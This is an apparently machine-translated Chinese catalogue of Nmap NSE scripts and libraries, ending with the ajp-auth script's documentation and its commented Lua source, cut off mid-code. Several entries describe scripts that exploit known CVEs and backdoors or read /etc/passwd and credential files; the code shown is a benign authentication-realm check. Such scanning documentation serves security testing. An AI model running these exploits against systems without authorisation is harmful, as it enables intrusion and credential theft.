从远程网络数据管理协议 (ndmp) 服务检索版本信息。NDMP 是一种旨在在 NAS 设备和备份设备之间传输数据的协议,无需数据通过备份服务器。已知以下产品支持该协议:
- 阿曼达
- 巴库拉
- CA Arcserve
- CommVault Simpana
- EMC 网络器
- 日立数据系统
- IBM 蒂沃利
- Quest Software Netvault 备份
- 赛门铁克网络备份
- 赛门铁克备份执行
扩展版本检测以检测 NetBuster,一种模仿 NetBus 的蜜罐服务。
此 NSE 脚本用于将 FINS 数据包发送到远程设备。该脚本将发送一个控制器数据读取命令,一旦收到响应,它会验证它是对已发送命令的正确响应,然后将解析出数据。
解析并显示 OpenLookup(网络键值存储)服务器的横幅信息。
解码来自 Oracle TNS 侦听器的 VSNNUM 版本号。
通过对 HTTP GET 请求和 XML-RPC 方法调用的响应进行指纹识别来检测 Oracle Virtual Server Agent 的版本。
尝试从点对点隧道协议 (PPTP) 服务中提取系统信息。
从 Quake 游戏服务器和其他使用相同协议的游戏服务器中提取信息。
从 Quake3 游戏服务器和其他使用相同协议的游戏中提取信息。
从时间服务中检索日期和时间。
对目标 RPC 端口进行指纹识别以提取目标服务、RPC 编号和版本。
连接到 portmapper 并获取所有注册程序的列表。然后它会打印出一个表格,其中包括(对于每个程序)RPC 程序号、支持的版本号、端口号和协议以及程序名称。
枚举 Siemens S7 PLC 设备并收集其设备信息。该脚本基于 Positive Research 和 Scadastrangelove ( https://code.google.com/p/plcscan/ ) 开发的 PLCScan。该脚本旨在提供与 Nmap 内的 PLCScan 相同的功能。PLCScan 收集的一些信息没有被移植;该信息可以从接收到的数据包中解析出来。
检测 Skype 版本 2 服务。
从 SNMPv3 GET 请求中提取基本信息。此处使用与服务版本检测扫描相同的探针。
如果存在服务器属性,则向服务器发送绑定请求并尝试从响应中提取版本信息。
检测 TeamSpeak 2 语音通信服务器并尝试确定版本和配置信息。
从 Ubiquiti 网络设备中提取信息。
检测 Ventrilo 语音通信服务器服务版本 2.1.2 及以上版本,并尝试确定版本和配置信息。某些较旧的版本(3.0.0 之前)可能没有默认启用此探测依赖的 UDP 服务。
查询 VMware 服务器(vCenter、ESX、ESXi)SOAP API 以提取版本信息。
检测漏洞并从 VxWorks Wind DeBug 代理收集信息(例如版本号和硬件支持)。
检测 T3 RMI 协议和 Weblogic 版本
连接到 XMPP 服务器(端口 5222)并收集服务器信息,例如:支持的身份验证机制、压缩方法、是否支持和强制 TLS、流管理、语言、带内注册的支持、服务器功能。如果可能,研究服务器供应商。
检测到 Mac OS X AFP 目录遍历漏洞 CVE-2010-0533。
尝试使用 DNS 服务发现协议发现本地网络中的主机并向每个主机发送一个 NULL UDP 数据包,以测试它是否容易受到 Avahi NULL UDP 数据包拒绝服务 (CVE-2011-1002) 的攻击。
利用易受未经身份验证的 clamav 命令执行的 ClamAV 服务器。
检测并利用分布式编译器守护进程 distcc 中的远程代码执行漏洞。该漏洞于 2002 年被披露,但由于服务配置不佳,仍然存在于现代实施中。
尝试在没有身份验证的情况下执行动态 DNS 更新。
检测 netfilter 和其他防火墙中的漏洞,这些防火墙使用帮助程序为 ftp 和 sip 等协议动态打开端口。
检查 FTPd 是否容易出现 CVE-2010-1938(OPIE 堆栈溢出),这是由 Maksymilian Arciemowicz 和 Adam "pi3" Zabrocki 发现的漏洞。请参阅https://nmap.org/r/fbsd-sa-opie上的建议。请注意,如果针对易受攻击的主机启动,此脚本将使 FTPd 崩溃。
测试报告为 BID 45150 的 ProFTPD 1.3.3c 后门是否存在。 id
默认情况下,此脚本尝试使用无害命令来利用后门,但可以使用 ftp-proftpd-backdoor.cmd
脚本参数进行更改。
对 2011 年 7 月 4 日报告的 vsFTPd 2.3.4 后门存在的测试 (CVE-2011-2523)。默认情况下,此脚本尝试使用 innocuousid
命令利用后门,但可以使用exploit.cmd
orftp-vsftpd-backdoor.cmd
脚本参数进行更改。
检查 ProFTPD 服务器中基于堆栈的缓冲区溢出,版本介于 1.3.2rc3 和 1.3.3b 之间。通过发送大量 TELNET_IAC 转义序列,proftpd 进程会错误计算缓冲区长度,远程攻击者将能够破坏堆栈并在 proftpd 进程的上下文中执行任意代码 (CVE-2010-4221)。利用此漏洞不需要身份验证。
http-adobe-coldfusion-apsa1301
尝试利用 Adobe Coldfusion 服务器中的身份验证绕过漏洞来检索有效的管理员会话 cookie。
确定 ASP.NET 应用程序是否已使用 HTTP DEBUG 请求启用调试。
尝试在 Avaya IP Office 系统 7.x 中枚举用户。
利用 Awstats Totals 1.0 至 1.14 以及可能基于它的其他产品中的远程代码执行漏洞 (CVE: 2008-3922)。
xsd
通过向参数(BID 40343) 发送特制请求来利用 Apache Axis2 版本 1.4.1 中的目录遍历漏洞。默认情况下,它将尝试使用返回管理员帐户的用户名和密码的'/conf/axis2.xml'
路径 来检索 Axis2 服务的配置文件。'/axis2/services/'
检查 HTTP 服务设置的 cookie。报告任何没有设置 httponly 标志的会话 cookie。报告通过 SSL 设置的任何会话 cookie,不带安全标志。如果 http-enum.nse 也运行,除了根目录之外,它找到的任何有趣的路径都将被检查。
检查 Web 应用程序中的跨域策略文件 (/crossdomain.xml) 和客户端访问策略文件 (/clientaccesspolicy.xml) 并列出受信任的域。过于宽松的设置会启用跨站点请求伪造攻击,并可能允许攻击者访问敏感数据。此脚本可用于检测许可配置和可用于购买以利用该应用程序的可能域名。
此脚本检测跨站点请求伪造 (CSRF) 漏洞。
通过将用户代理更改为“秘密”值来检测某些 D-Link 路由器上的固件后门。使用“秘密”用户代理绕过身份验证并允许管理员访问路由器。
它查找 DOM 中攻击者控制的信息可能被用于以某些方式影响 JavaScript 执行的地方。攻击在这里解释: http ://www.webappsec.org/projects/articles/071105.shtml
枚举流行的 Web 应用程序和服务器使用的目录。
使用各种技术(例如更改 Content-type 标头或创建包含评论中有效负载的有效图像文件)在 Web 应用程序中利用不安全的文件上传表单。
检查目标机器是否容易受到匿名 Frontpage 登录的攻击。
检查在网站文档根目录 /.git/<something>) 中找到的 Git 存储库,并检索尽可能多的存储库信息,包括语言/框架、远程、最后提交消息和存储库描述。
检测易受远程凭证和信息泄露漏洞影响的华为调制解调器型号 HG530x、HG520x、HG510x(可能还有其他...)。它还提取 PPPoE 凭据和其他有趣的配置值。
检查 IIS 5.1/6.0 中的漏洞,该漏洞允许任意用户通过搜索受密码保护的文件夹并尝试访问它来访问受保护的 WebDAV 文件夹。此漏洞已在 Microsoft 安全公告 MS09-020、https: //nmap.org/r/ms09-020 中修复。
确定 Web 服务器在发送没有 Host 标头的 HTTP/1.0 请求时是否泄露其内部 IP 地址。
尝试在 Web 服务器中发现 JSONP 端点。JSONP 端点可用于绕过 Web 浏览器中的同源策略限制。
利用 4.0.15 之前的 Litespeed Web Servers 4.0.x 中的空字节中毒漏洞,通过发送带有空字节后跟 .txt 文件扩展名的 HTTP 请求来检索目标脚本的源代码 (CVE-2010-2333)。
利用 Majordomo2 中存在的目录遍历漏洞来检索远程文件。(CVE-2011-0049)。
尝试通过执行 HTTP 动词篡改来绕过受密码保护的资源(HTTP 401 状态)。如果未设置要检查的路径数组,它将爬取 Web 服务器并针对它找到的任何受密码保护的资源执行检查。
通过尝试检索/etc/passwd
或检查 Web 服务器是否容易受到目录遍历的影响\boot.ini
。
利用 phpMyAdmin 2.6.4-pl1(可能还有其他版本)中的目录遍历漏洞来检索 Web 服务器上的远程文件。
爬取 Web 服务器并尝试通过 变量 查找易受反射跨站点脚本攻击的 PHP 文件$_SERVER["PHP_SELF"]
。
尝试利用 Web 应用程序中的“shellshock”漏洞(CVE-2014-6271 和 CVE-2014-7169)。
在没有实际发起 DoS 攻击的情况下测试 Web 服务器是否存在 Slowloris DoS 攻击的漏洞。
蜘蛛 HTTP 服务器寻找包含易受 SQL 注入攻击的查询的 URL。它还从找到的网站中提取表单并尝试识别易受攻击的字段。
未过滤的“>”(大于符号)。潜在 XSS 漏洞的指示。
利用多个 TP-Link 无线路由器中存在的目录遍历漏洞。攻击者可以利用此漏洞远程读取任何配置和密码文件而无需身份验证。
发送一个 HTTP TRACE 请求并显示是否启用了 TRACE 方法。如果启用了调试,它会返回响应中修改的标头字段。
检查 VMWare ESX、ESXi 和服务器中的路径遍历漏洞 (CVE-2009-3733)。
利用 Webmin 中的文件泄露漏洞 (CVE-2006-3392)
利用 cve-2009-3960 也称为 Adobe XML 外部实体注入。
测试 JBoss 目标是否容易受到 jmx 控制台身份验证绕过 (CVE-2010-0738) 的攻击。
对 ColdFusion 服务器执行目录遍历攻击,并尝试获取管理员用户的密码哈希。然后它使用盐值(隐藏在网页中)创建 Web 服务器作为管理员身份验证所需的 SHA1 HMAC 哈希。您可以以管理员身份将此值传递给 ColdFusion 服务器,而无需破解密码哈希。
在 Apache Web 服务器处理对页面的多个重叠/简单范围的请求的方式中检测到拒绝服务漏洞。
在 Apache HTTP 服务器的反向代理模式下测试 CVE-2011-3368(反向代理绕过)漏洞。该脚本将运行 3 个测试:
- 环回测试,使用 3 个有效负载来处理不同的重写规则
- 内部主机测试。根据 Contextis,我们预计在服务器错误之前会有延迟。
- 外部网站测试。这并不意味着您可以访问 LAN ip,但无论如何这是一个相关问题。
检测易受 CVE-2012-1823 攻击的 PHP-CGI 安装,此严重漏洞允许攻击者检索源代码并远程执行代码。
检测易受对象注入、远程命令执行和拒绝服务攻击的 Ruby on Rails 服务器。(CVE-2013-0156)
检测 Allegro RomPager Web 服务器中的 URL 重定向和反射 XSS 漏洞。该漏洞已被分配 CVE-2013-6786。
rubina119 于 2013 年 12 月 6 日发布了一个 0 day,并在 Zimbra 7.2.6 中进行了修补。
检测 Cisco ASA 设备是否容易受到 Cisco ASA ASDM 权限提升漏洞 (CVE-2014-2126) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SSL VPN 权限提升漏洞 (CVE-2014-2127) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SSL VPN 身份验证绕过漏洞 (CVE-2014-2128) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SIP 拒绝服务漏洞 (CVE-2014-2129) 的攻击。
利用在 Drupal 中也称为“Drupageddon”的 CVE-2014-3704。已知小于 7.32 的 Drupal 核心版本会受到影响。
利用 Wordpress CM 下载管理器插件中的远程代码注入漏洞 (CVE-2014-8877)。已知版本 <= 2.0.0 会受到影响。
此脚本尝试检测漏洞 CVE-2015-1427,该漏洞允许攻击者利用此 API 的功能来获得未经身份验证的远程代码执行 (RCE)。
检查 Microsoft Windows 系统 (CVE2015-2015-1635) 中的远程代码执行漏洞 (MS15-034)。
尝试检测 Wordpress 4.7.0 和 4.7.1 中的权限提升漏洞,该漏洞允许未经身份验证的用户在帖子中注入内容。
检测指定的 URL 是否容易受到 Apache Struts 远程代码执行漏洞 (CVE-2017-5638) 的攻击。
检测采用英特尔主动管理技术的系统是否容易受到 INTEL-SA-00075 权限提升漏洞 (CVE2017-5689) 的攻击。
一个影响 Joomla! 的 SQL 注入漏洞!3.7.1 之前的 3.7.x 允许未经身份验证的用户执行任意 SQL 命令。此漏洞是由com_fields
3.7 版中引入的新组件引起的。该组件是可公开访问的,这意味着任何访问该站点的恶意个人都可以利用该组件。
通过安全利用来检测 RomPager 4.07 Misfortune Cookie 漏洞。
在 WNR 1000 系列中发现了一个漏洞,允许攻击者使用路由器接口检索管理员凭据。在固件版本上测试:V1.0.2.60_60.0.86(最新)和 V1.0.2.54_60.0.82NA
通过利用版本 2.6、3.1、3.1.1、3.1.3 和 3.2-beta2 以及可能的其他版本中存在的信息泄露漏洞枚举 Wordpress 博客/CMS 安装中的用户名。
IPMI 2.0 密码零身份验证绕过扫描器。此模块通过使用密码零识别易受身份验证绕过漏洞影响的 IPMI 2.0 兼容系统。
检查 IRC 服务器是否有恶意僵尸网络常用的通道。
通过运行基于时间的命令 (ping) 并检查响应所需的时间来检查 IRC 服务器是否被后门。
检查 NetBus 服务器是否容易受到身份验证绕过漏洞的影响,该漏洞允许在不知道密码的情况下进行完全访问。
检测是否在 Puppet 服务器上启用了朴素签名。这使攻击者能够创建任何证书签名请求并对其进行签名,从而允许他们冒充为傀儡代理。这可能会泄露代理的配置以及配置文件中的任何其他敏感信息。
尝试识别正在侦听的 QNX QCONN 守护程序是否允许未经身份验证的用户执行任意操作系统命令。
检查机器是否容易受到 MS12-020 RDP 漏洞的攻击。
检查 VNC 服务器是否容易受到 RealVNC 身份验证绕过 (CVE-2006-2369) 的攻击。
测试 Java rmiregistry 是否允许加载类。rmiregistry 的默认配置允许从远程 URL 加载类,这可能导致远程代码执行。供应商(Oracle/Sun)将此归类为设计特性。
检测易受铜匠返回攻击 (ROCA) 分解的 RSA 密钥。
检查目标机器是否容易受到 Samba 堆溢出漏洞 CVE-2012-1182 的攻击。
检查目标机器是否正在运行 Double Pulsar SMB 后门。
检测受Conficker 蠕虫感染的Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
检查目标机器是否容易受到任意共享库加载漏洞 CVE-2017-7494 的攻击。
检测易受拒绝服务攻击的 Microsoft Windows 系统 (CVE-2009-3103)。如果该脚本易受攻击,该脚本将使该服务崩溃。
检测带有易受 MS06-025 攻击的 Ras RPC 服务的 Microsoft Windows 系统。
检测带有易受 MS07-029 攻击的 Dns Server RPC 的 Microsoft Windows 系统。
检测易受称为 MS08-067 的远程代码执行漏洞的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
测试目标机器是否容易受到 ms10-054 SMB 远程内存损坏漏洞的攻击。
测试目标机器是否容易受到 ms10-061 Printer Spooler 模拟漏洞的攻击。
尝试检测 Microsoft SMBv1 服务器是否容易受到远程代码执行漏洞(ms17-010,又名 EternalBlue)的攻击。该漏洞被 WannaCry 和 Petya 勒索软件和其他恶意软件积极利用。
检查 Microsoft Windows 2000 系统是否容易受到由空指针取消引用导致的 regsvc 崩溃的影响。如果服务易受攻击并且需要访客帐户或更高版本才能工作,此检查将使服务崩溃。
WebExService (WebExec) 中存在一个严重的远程代码执行漏洞。
尝试通过检查 SMB2 协议协商期间返回的正常运行时间来检测 Windows 系统中缺少的补丁程序。
检查和/或利用 Exim 4.69 之前的版本 (CVE-2010-4344) 中的堆溢出以及 Exim 4.72 和之前的版本 (CVE-2010-4345) 中的权限提升漏洞。
检查 Postfix SMTP 服务器在使用 Cyrus SASL 库身份验证机制时是否存在内存损坏 (CVE-2011-1720)。此漏洞可能允许拒绝服务和可能的远程代码执行。
检查 Exim SMTP 服务器(版本 4.70 到 4.75)中的格式字符串漏洞,支持 DomainKeys Identified Mail (DKIM) (CVE-2011-1764)。在记录 DKIM-Signature 标头字段的某些部分时,DKIM 记录机制未使用格式字符串说明符。能够发送电子邮件的远程攻击者可以利用此漏洞并以 Exim 守护程序的权限执行任意代码。
检测服务器是否容易受到由 Masashi Kikuchi 首次发现的 SSL/TLS“CCS 注入”漏洞 (CVE-2014-0224) 的攻击。该脚本基于 Ramon de C Valle ( https://gist.github.com/rcvalle/71f4b027d61a78c42607 )编写的 ccsinjection.c 代码
报告在 SSL 服务证书的各个字段中找到的任何私有 (RFC1918) IPv4 地址。仅当目标地址本身不是私有的时才会报告这些。需要 Nmap v7.30 或更高版本。
SSL/TLS 服务的弱短暂 Diffie-Hellman 参数检测。
检测服务器是否容易受到 OpenSSL Heartbleed 错误 (CVE-2014-0160) 的攻击。该代码基于 Katie Stafford (katie@ktpanda.org) 编写的 Python 脚本 ssltest.py
检查主机使用的 SSL 证书是否具有与包含的问题密钥数据库匹配的指纹。
检查是否允许使用 SSLv3 CBC 密码 (POODLE)
确定服务器是否支持 SSLv2、它支持的密码并测试 CVE-2015-3197、CVE-2016-0703 和 CVE-2016-0800 (DROWN)
尝试在易受攻击的 Supermicro Onboard IPMI 控制器中下载包含纯文本用户凭据的未受保护配置文件。
检测服务器是否容易受到 F5 Ticketbleed 错误 (CVE-2016-9244) 的攻击。
对于每个可用的 CPE,脚本会打印出已知的漏洞(指向通讯员信息的链接)和通讯员 CVSS 分数。
检测漏洞并从 VxWorks Wind DeBug 代理收集信息(例如版本号和硬件支持)。
库
该库由 Patrik Karlsson <patrik@cqure.net> 编写,以促进与 Apple AFP 服务的通信。它功能不完整,仍然缺少几个功能。
基于 Apache mod_proxy_ajp 提供的文档的基本 AJP 1.3 实现;http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html
AMQP 库为检索有关 AMQP 服务器属性的信息提供了一些基本功能。
此库实现 Cisco AnyConnect VPN 客户端使用的 HTTP 请求
ASN.1 功能。
Base32 编码和解码。遵循 RFC 4648。
Base64 编码和解码。遵循 RFC 4648。
打包和解包二进制数据。
该库实现了比特币协议的最小子集,目前支持版本握手和处理 Addr 响应。
位操作库。
Bittorrent 和 DHT 协议库,使用户能够从 torrent 文件中读取信息,解码 bencoded(bittorrent 编码)缓冲区,查找与某个 torrent 相关联的对等点,并检索在搜索对等点期间发现的节点。
佳能 BJNP 协议的实现,用于发现和查询佳能网络打印机和扫描仪设备。
brute 库试图创建一个通用框架来对远程服务执行密码猜测。
作为客户端处理 Cassandra Thrift 通信的库方法
该模块由 Patrik Karlsson 编写,可促进与 Citrix XML Service 的通信。它的功能不完整,并且缺少几个功能和参数。
CoAP 的实现 https://tools.ietf.org/html/rfc7252
网络发现任务的通用通信功能,如横幅抓取和数据交换。
凭证类将找到的凭证存储在 Nmap 注册表中
目前仅支持身份验证的最小 CVS(并发版本系统)pserver 协议实现。
读取和解析 Nmap 的一些数据文件:nmap-protocols
、 nmap-rpc
、nmap-services
和 nmap-mac-prefixes
.
处理日期和时间戳的函数
实施动态主机配置协议 (DHCP) 客户端。
支持基本 DHCP6 请求请求的简约 DHCP6(IPv6 动态主机配置协议)实现 该库围绕以下类构建:
- DHCP6.Option - DHCP6 选项编码器(用于请求)和解码器(用于响应)
- DHCP6.Request - DHCP6 请求编码器和解码器
- DHCP6.Response - DHCP6 响应编码器和解码器
- Helper - 助手类,主要脚本接口
DICOM 库
支持数据包创建、编码、解码和查询的简单 DNS 库。
一个简约的 DNS 黑名单库,用于方便查询各种 DNSBL 服务。当前的服务列表已根据以下服务汇编实施:
- http://en.wikipedia.org/wiki/Comparison_of_DNS_blacklists
- http://www.robtex.com
- http://www.sdsc.edu/~jeff/spam/cbc.html
支持 DNS 服务发现的库
DRDA 库支持非常有限的操作子集。
支持有限功能子集的 EAP(可扩展身份验证协议)库。
支持解析和生成 Cisco 的 EIGRP 数据包的有限子集的库。
用于各种计算的公式函数。
FTP功能。
整合 GeoIP 功能。
支持非常有限的操作子集的 GIOP 库
一个小型 gps 解析模块。目前做 GPRMC NMEA 解码
以 Nmap 脚本可以利用的标准形式实现 HTTP 客户端协议。
一个提供基本爬虫功能的小型 httpspider 库它由以下类组成:
一个简约的 Asterisk IAX2 (Inter-Asterisk eXchange v2) VoIP 协议实现。该库实现了执行暴力密码猜测所需的最低要求。
处理 IDNA 域的库方法。
一个非常基本的 IKE 库。
一个实现 IMAP 协议的小子集的库,目前是 CAPABILITY、LOGIN 和 AUTHENTICATE 函数。该库最初由 Brandon Enright 编写,后来由 Patrik Karlsson <patrik@cqure.net> 扩展并转换为 OO 形式
Informix 库支持非常有限的 Informix 操作子集
一个实现 IPMI 协议的模块(代码是 Metasploit ipmi 扫描器的移植: https ://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/ipmi )
用于操作和比较 IP 地址的实用功能。
一个小型 CUPS ipp(互联网打印协议)库实现
IRC 函数。
由 Patrik Karlsson <patrik@cqure.net> 编写的 iSCSI 库实现该库当前支持目标发现和登录。
最小的 Internet 存储名称服务 (iSNS) 实施
JDWP(Java Debug Wire Protocol)库实现了使用远程调试端口和注入 java 字节码所需的一组命令。
用于处理 JSON 数据的库方法。它根据 RFC 4627 处理 JSON 编码和解码。
与 Konnex (KNX) 设备通信的功能
处理 LDAP 的库方法。
返回一个目录迭代器,列出给定路径的内容
为 libssh2 库提供绑定。
libssh2 的实用程序函数。
函数式列表操作。
解析 Lua 的表达式语法
LPeg 的实用功能。
报告文件和目录列表。
缓冲网络 I/O 辅助函数。
Couchbase Membase TAP 协议的小型实现基于 Couchbase Wiki 的稀缺文档:
一个 MobileMe Web 服务客户端,允许使用“查找我的 iPhone”功能发现 Apple 设备。
用于处理 MongoDB、创建和解析数据包的库方法。
MQTT 3.1.1 的实现 https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
通过大量使用该smb
库,该库将调用各种 MSRPC 函数。此处使用的函数可以通过 TCP 端口 445 和 139 访问,并已建立会话。NULL 会话(默认)适用于某些功能和操作系统(或配置),但不适用于其他功能和操作系统。
该模块旨在解析PERF_DATA_BLOCK
结构,该结构存储在注册表中的 HKEY_PERFORMANCE_DATA 下。通过查询这个结构,您可以获得关于正在发生的事情的大量信息。
此模块被写入为 Microsoft RPC (MSRPC) 调用编组参数。传入和传出的值基于协议定义的结构,并由 Samba 开发人员记录。有关类型的详细分类,请查看 Samba 4.0 的.idl
文件。
MSSQL 库支持非常有限的操作子集。
用于发送 MLD 请求和解析报告的实用功能。
支持非常有限的操作子集的简单 MySQL 库。
该库实现了 NAT 端口映射协议 (NAT-PMP) 草案中描述的 NAT-PMP 的基础知识: o http://tools.ietf.org/html/draft-cheshire-nat-pmp-03
网络块设备协议的实现。 https://github.com/NetworkBlockDevice/nbd/blob/master/doc/proto.md
Netware 核心协议 (NCP) 的小型实现。虽然 NCP 最初是一种仅限 Netware 的协议,但它现在出现在运行 Novell eDirectory 的 Linux 和 Windows 平台上。
一个简约的 NDMP(网络数据管理协议)库
创建和解析 NetBIOS 流量。其主要用途是发送 NetBIOS 名称请求。
与 Nmap 内部接口。
支持 Domino RPC 的简约库
Nmap 脚本的调试功能。
编写此库是为了简化与使用 OMP(OpenVAS 管理协议)版本 2 的 OpenVAS 管理器服务器的交互。
有用的错误堆栈对象
OpenSSL 绑定。
一个有限的 OSPF(开放最短路径优先路由协议)库,目前支持 IPv4 和以下 OSPF 消息类型:HELLO、DB_DESCRIPTION、LS_REQUEST、LS_UPDATE
NSE 脚本输出的辅助函数
处理原始数据包的设施。
Perl 兼容的正则表达式。
支持协议版本 2 和版本 3 的 PostgreSQL 库。该库当前包含执行身份验证的最低要求。在启用或不启用 SSL 并使用纯文本或 MD5 身份验证机制的情况下都支持身份验证。
POP3 功能。
一个简约的 PPPoE(以太网点对点协议)库,实现对 PPPoE 发现和配置请求的基本支持。PPPoE 协议基于以太网,因此不使用任何 IP 或端口号。
代理测试的功能。
用于处理 punycode 字符串的库方法。
生成随机数据的函数
一个最小的 RDP(远程桌面协议)库。目前具有确定加密和密码支持的功能。
正则表达式函数
一个简约的 Redis(内存中键值数据存储)库。
通过 RMI 进行通信的库方法(JRMP + java 序列化)
支持非常有限的操作子集的 RPC 库。
这个库实现了与 WinPcap Remote Capture Daemon 通信所需的基础。它目前支持使用 NULL 或基于密码的身份验证对服务进行身份验证。此外,它还能够列出可用于嗅探的接口。
一个极简的 RSYNC(远程文件同步)库
此实时流协议 (RTSP) 库仅实现当前脚本所需协议的最小子集。
简单身份验证和安全层 (SASL)。
用于构建短端口规则的函数。
支持有限的 SIP 命令和方法子集的 SIP 库
这是 SLAXML 的 NSE 实现。SLAXML 是一个纯 Lua 类 SAX 流式 XML 解析器。它比现有的许多(更简单)基于模式的解析器更健壮,可以正确支持诸如<expr test="5 > 7" />
CDATA 节点、注释、命名空间和处理指令之类的代码。然而,它目前还不是一个真正有效的 XML 解析器,因为它允许在不报告错误的情况下解析某些语法无效(格式不正确)的 XML。流解析器对输入进行简单的传递,并报告它沿途看到的内容。您可以选择使用该选项忽略仅包含空格的文本节点stripWhitespace
。该库包含解析器类和 parseDOM 函数。
实现与服务器消息块(SMB,CIFS 的扩展)流量相关的功能,这是一种 Windows 协议。
实现服务器消息块 (SMB) 协议版本 2 和 3。
该模块负责 SMB(LM、NTLM、LMv2、NTLMv2)中使用的身份验证。
简单邮件传输协议 (SMTP) 操作。
SNMP 库。
一个小的 SOCKS 版本 5 代理协议实现
服务定位协议的一个相对较小的实现。它最初设计用于支持发现 Novell NCP 服务器的请求,但也应适用于任何其他服务。
SSH-1 协议的功能。该模块还包含格式化按键指纹的功能。
SSH-2 协议的功能。
一个库,提供用于收集 SSL 证书并将其存储在基于主机的注册表中的功能。
提供用于进行 SSLv2 通信的函数的库
标准 Nmap 脚本引擎功能。该模块包含各种方便的功能,这些功能太小而无法证明它们自己的模块的合理性。
字符串缓冲设施。
严格声明的全局库。在运行时执行期间检查未声明的全局变量。
字符串操作的辅助函数
根据 RFC3489 和 RFC5389 实现 STUN 协议(NAT 会话遍历实用程序)基础的库。http://en.wikipedia.org/wiki/STUN提供了协议概述。
将输出安排到表格中。
表格操作的辅助功能
将新发现的目标添加到 Nmap 扫描队列的实用程序功能。
实现最小 TFTP 服务器的库
提供用于进行 TLS/SSL 通信的函数的库
TN3270 仿真器库
TNS 库支持非常有限的 Oracle 操作子集
处理 unicode 字符串的库方法。
对 NSE 库的单元测试支持。
用户名/密码数据库库。
一个基于 upnp-info 代码的 UPNP 库,最初由 Thomas Buchanan 编写。该代码是从 upnp-info 中提取出来的,部分由 Patrik Karlsson <patrik@cqure.net> 重写,以支持多播请求。
URI 解析、组合和相对 URL 解析。
一个小型库,允许从 Versant 对象数据库软件枚举一些基本信息(参见 http://en.wikipedia.org/wiki/Versant_Corporation)。该代码完全基于使用 Versant 管理中心管理应用程序时捕获的数据包转储。
VNC 库提供了与 VNC 服务器通信所需的一些基本功能,以及 Tight- 或 Ultra- VNC 等衍生产品。
漏洞管理功能。
基于以下文档的 Vuze DHT 协议实现: o http://wiki.vuze.com/w/Distributed_hash_table
一个库,使脚本能够发送 Web 服务动态发现探测并执行一些非常基本的响应解码。该库绝不是一个完整的 WSDD 实现,而是一些数据包捕获和一些创造性编码的结果。
XDMCP(X 显示管理器控制协议)的实现基于:x http://www.xfree86.org/current/xdmcp.pdf
一个 XMPP (Jabber) 库,实现了协议的最小子集,足以进行身份验证蛮力。
Zlib 压缩解压库
脚本ajp-auth
脚本类型:portrule
类别: default、auth、safe
下载:https ://svn.nmap.org/nmap/scripts/ajp-auth.nse
脚本摘要
检索需要身份验证的 AJP 服务(Apache JServ 协议)的身份验证方案和领域。
脚本参数
- ajp-auth.path
-
定义请求路径
- slaxml.debug
-
请参阅slaxml库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap -p 8009 <ip> --script ajp-auth [--script-args ajp-auth.path=/login]
脚本输出
PORT STATE SERVICE 8009/tcp open ajp13 | ajp-auth: |_ Digest opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
源码
--ajp协议类似于http形式的特例,用二进制表示法表示字段,比如post请求在http是文本post,而ajp中是表示为0x01,它主要用来apache与tomcat通信。-- --apache是静态web服务器,tomcat是动态web服务器,静态就是纯web页面不需要运算逻辑,动态会根据输入的不同,响应不同的web页面结果。 --因为ajp认证在网络上比较难找到因此没有实例 --包含库 local ajp = require "ajp" --ajp协议库包含ajp通信方法,后面会用到它 local http = require "http" --同理 local shortport = require "shortport" --nmap扫描结果后的逻辑判断 local stdnse = require "stdnse" --nmap命令行输入获取 local table = require "table" --描述用途 description = [[ 检索需要身份验证的AJP服务(Apache JServ Protocol)的身份验证方案和领域。]] --- -- @用法 -- nmap -p 8009 <ip> --script ajp-auth [--script-args ajp-auth.path=/login] -- -- @输出 -- PORT STATE SERVICE -- 8009/tcp open ajp13 -- 脚本执行处 | ajp-auth: -- 脚本执行结果 |_ Digest opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org -- -- @参数 ajp-auth.path 定义请求的路径,比如http://ip:port/login,/login就是请求路径 -- --作者 author = "Patrik Karlsson" --版权 license = "Same as Nmap--See https://nmap.org/book/man-legal.html" --分类 categories = {"default", "auth", "safe"} --规则,也叫触发器 portrule = shortport.port_or_service(8009, 'ajp13', 'tcp') --取参 local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path") --行动,触发后执行 action = function(host, port) local helper = ajp.Helper:new(host, port)--new ajphelper,传入ip和端口 if ( not(helper:connect()) ) then--创建连接,相当于tcp三次握手 return stdnse.format_output(false, "连接AJP服务器失败") end local status, answer = helper:get(arg_path or "/")--发送get请求,路径是/或者输入的参数 if ( not(status) or answer.status ~= 401 ) then--- 检查401响应码 return end local result = { name = answer.status_line:match("^(.*)\r?\n$") }--取出状态行,不带有/r/n local www_authenticate = answer.headers["www-authenticate"]--取出www-authenticate行 if not www_authenticate then table.insert( result, ("服务器返回状态%d,但没有WWW-Authenticate报头。"):format(answer.status) ) return stdnse.format_output(true, result) end local challenges = http.parse_www_authenticate(www_authenticate)--如果上面状态码和www-authenticate都有,那么解析www_authenticate if ( not(challenges) ) then table.insert( result, ("服务器返回状态%d,但无法解析WWW-Authenticate报头。"):format(answer.status) ) table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) ) return stdnse.format_output(true, result) end for _, challenge in ipairs(challenges) do--如果上面状态码和www-authenticate都有并且解析了www_authenticate,那么遍历它 local line = challenge.scheme --取出认证方法,比如 Digest if ( challenge.params ) then --取出参数,比如 opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org for name, value in pairs(challenge.params) do line = line .. (" %s=%s"):format(name, value)--把参数格式化后进行拼接,最终效果是Digest 